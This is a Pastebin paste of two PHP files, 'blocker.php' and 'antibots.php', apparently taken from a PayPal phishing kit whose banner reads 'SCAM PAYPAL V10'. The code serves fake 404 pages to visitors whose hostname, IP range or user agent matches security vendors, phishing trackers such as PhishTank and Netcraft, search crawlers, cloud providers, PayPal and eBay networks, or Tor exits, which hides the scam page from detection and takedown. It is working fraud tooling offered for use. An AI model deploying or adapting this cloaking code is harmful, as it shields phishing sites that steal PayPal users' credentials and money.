Advertisement
spamreports

blocker.php and antibots.php bof kit

Jan 18th, 2020
372
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.60 KB | None | 0 0
  1. <?php
  2.  
  3. $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
  4. $blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit", "msnbot","p3pwgdsn","netcraft","trendmicro", "ebay", "paypal", "torservers", "messagelabs", "sucuri.net", "megaindex");
  5. foreach($blocked_words as $word) {
  6.     if (substr_count($hostname, $word) > 0) {
  7.     header("HTTP/1.0 404 Not Found");
  8.         die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  9.  
  10.     }  
  11. }
  12. $bannedIP = array("^81.161.59.*", "^66.135.200.*", "^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*", "^91.103.66.*", "^208.91.115.*", "^199.30.228.*", "^148.251.74.*", "^148.251.236.167");
  13. if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
  14.      header('HTTP/1.0 404 Not Found');
  15.      exit();
  16. } else {
  17.      foreach($bannedIP as $ip) {
  18.           if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
  19.                header('HTTP/1.0 404 Not Found');
  20.                die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  21.           }
  22.      }
  23. }
  24.  
  25. ?>
  26.  
  27.  
  28. antibots.php
  29. <?
  30. /*  
  31.    _____   _                   _                        ______    __    __     ___  
  32.   / ____| | |                 | |                      |___  /   /_ |  /_ |   / _ \
  33.  | (___   | |__     __ _    __| |   ___   __      __      / /    | |   | |   | (_) |
  34.   \___ \  | '_ \   / _` |  / _` |  / _ \  \ \ /\ / /     / /   - | | - | | -  > _ <
  35.   ____) | | | | | | (_| | | (_| | | (_) |  \ V  V /     / /__  - | | - | | - | (_) |
  36.  |_____/  |_| |_|  \__,_|  \__,_|  \___/    \_/\_/     /_____|   |_|   |_|    \___/
  37.                                                                                
  38.                               #=======================#
  39.                               #    SCAM PAYPAL V10    #
  40.                               #      SHADOW Z118      #
  41.                               #=======================#
  42.                              
  43.                 $$$$$$$\                     $$$$$$$\           $$\  
  44.                 $$  __$$\                    $$  __$$\          $$ |  
  45.                 $$ |  $$ |$$$$$$\  $$\   $$\ $$ |  $$ |$$$$$$\  $$ |  
  46.                 $$$$$$$  |\____$$\ $$ |  $$ |$$$$$$$  |\____$$\ $$ |  
  47.                 $$  ____/ $$$$$$$ |$$ |  $$ |$$  ____/ $$$$$$$ |$$ |  
  48.                 $$ |     $$  __$$ |$$ |  $$ |$$ |     $$  __$$ |$$ |  
  49.                 $$ |     \$$$$$$$ |\$$$$$$$ |$$ |     \$$$$$$$ |$$ |  
  50.                 \__|      \_______| \____$$ |\__|      \_______|\__|  
  51.                                    $$\   $$ |                        
  52.                                    \$$$$$$  |                        
  53.                                     \______/                          
  54. */
  55.  
  56.  
  57. $bannedIP = array("^66.102.*.*", "^38.100.*.*", "^107.170.*.*",
  58.  "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*",
  59.  "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*",
  60. "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*",
  61.  "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*",
  62.  "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*",
  63.  "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*",
  64.  "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*",
  65.  "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*",
  66.  "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*",
  67.  "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*",
  68.  "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*",
  69.  "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*",
  70. "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*",
  71. "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*",
  72. "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*",
  73.  "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*",
  74. "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*",
  75.  "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*",
  76. "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*");
  77. if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
  78.      // this is for exact matches of IP address in array
  79.      header('HTTP/1.0 404 Not Found');
  80.      exit();
  81. } else {
  82.      // this is for wild card matches
  83.      foreach($bannedIP as $ip) {
  84.           if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
  85.                header('HTTP/1.0 404 Not Found');
  86.                echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  87.           }
  88.      }
  89. }
  90.  
  91. $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
  92. $blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit",);
  93. foreach($blocked_words as $word) {
  94.     if (substr_count($hostname, $word) > 0) {
  95.         header("HTTP/1.0 404 Not Found");
  96.         echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  97.  
  98.     }  
  99. }
  100.  
  101.  
  102.  
  103. // This Willl Block New ips that send lot of hits (Bots)
  104.  
  105. $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
  106. $blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit",);
  107. foreach($blocked_words as $word) {
  108.     if (substr_count($hostname, $word) > 0) {
  109.         header("HTTP/1.0 404 Not Found");
  110.         echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  111.  
  112.     }  
  113. }
  114. if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
  115.     $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  116.     foreach($userAgents as $agent)
  117.         if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
  118.             header('HTTP/1.0 404 Not Found');
  119.             exit;
  120.       }}
  121. $bannedIP = array("^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*");
  122. if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
  123.      header('HTTP/1.0 404 Not Found');
  124.      exit();
  125. } else {
  126.      foreach($bannedIP as $ip) {
  127.           if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
  128.                header('HTTP/1.0 404 Not Found');
  129.                echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  130.           }
  131.      }
  132. }
  133.  
  134. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement